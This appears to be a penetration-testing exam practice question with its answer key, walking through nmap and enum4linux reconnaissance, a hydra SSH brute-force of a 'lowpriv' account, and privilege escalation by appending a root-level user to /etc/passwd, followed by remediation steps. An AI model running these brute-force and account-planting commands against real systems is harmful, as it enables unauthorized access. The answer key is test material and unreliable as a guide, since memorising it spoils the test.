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SIMULATION A previous penetration test report identified a host with vulnerabilities that was successfully exploited. Management has requested that an internal member of the security team reassess the host to determine if the vulnerability still exists. Part 1: . Analyze the output and select the command to exploit the vulnerable service. Part 2: . Analyze the output from each command. * Select the appropriate set of commands to escalate privileges. * Identify which remediation steps should be taken.
Correct Answer:
See the Explanation below for complete solution Explanation: The command that would most likely exploit the services is: hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22 The appropriate set of commands to escalate privileges is: echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd The remediations that should be taken after the successful privilege escalation are: Remove the SUID bit from cp. Make backup script not world-writable. Comprehensive Step-by-Step Explanation of the Simulation Part 1: Exploiting Vulnerable Service Nmap Scan Analysis Command: nmap -sC -T4 192.168.10.2 Purpose: This command runs a default script scan with timing template 4 (aggressive). Output: bash Copy code Port State Service 22/tcp open ssh 23/tcp closed telnet 80/tcp open http 111/tcp closed rpcbind 445/tcp open samba 3389/tcp closed rdp Ports open are SSH (22), HTTP (80), and Samba (445). Enumerating Samba Shares Command: enum4linux -S 192.168.10.2 Purpose: To enumerate Samba shares and users. Output: makefile Copy code user:[games] rid:[0x3f2] user:[nobody] rid:[0x1f5] user:[bind] rid:[0x4ba] user:[proxy] rid:[0x42] user:[syslog] rid:[0x4ba] user:[www-data] rid:[0x42a] user:[root] rid:[0x3e8] user:[news] rid:[0x3fa] user:[lowpriv] rid:[0x3fa] We identify a user lowpriv. Selecting Exploit Command Hydra Command: hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22 Purpose: To perform a brute force attack on SSH using the lowpriv user and a list of the 500 worst passwords. -l lowpriv: Specifies the username. -P 500-worst-passwords.txt: Specifies the password list. -t 4: Uses 4 tasks/threads for the attack. ssh://192.168.10.2:22: Specifies the SSH service and port. Executing the Hydra Command Result: Successful login as lowpriv user if a match is found. Part 2: Privilege Escalation and Remediation Finding SUID Binaries and Configuration Files Command: find / -perm -2 -type f 2>/dev/null | xargs ls -l Purpose: To find world-writable files. Command: find / -perm -u=s -type f 2>/dev/null | xargs ls -l Purpose: To find files with SUID permission. Command: grep "/bin/bash" /etc/passwd | cut -d':' -f1-4,6,7 Purpose: To identify users with bash shell access. Selecting Privilege Escalation Command Command: echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd Purpose: To create a new root user entry in the passwd file. root2: Username. 5ZOYXRFHVZ7OY: Password hash. ::0:0: User and group ID (root). /root: Home directory. /bin/bash: Default shell. Executing the Privilege Escalation Command Result: Creation of a new root user root2 with a specified password. Remediation Steps Post-Exploitation Remove SUID Bit from cp: Command: chmod u-s /bin/cp Purpose: Removing the SUID bit from cp to prevent misuse. Make Backup Script Not World-Writable: Command: chmod o-w /path/to/backup/script Purpose: Ensuring backup script is not writable by all users to prevent unauthorized modifications. Execution and Verification Verifying Hydra Attack: Run the Hydra command and monitor for successful login attempts. Verifying Privilege Escalation: After appending the new root user to the passwd file, attempt to switch user to root2 and check root privileges. Implementing Remediation: Apply the remediation commands to secure the system and verify the changes have been implemented. By following these detailed steps, one can replicate the simulation and ensure a thorough understanding of both the exploitation and the necessary remediations.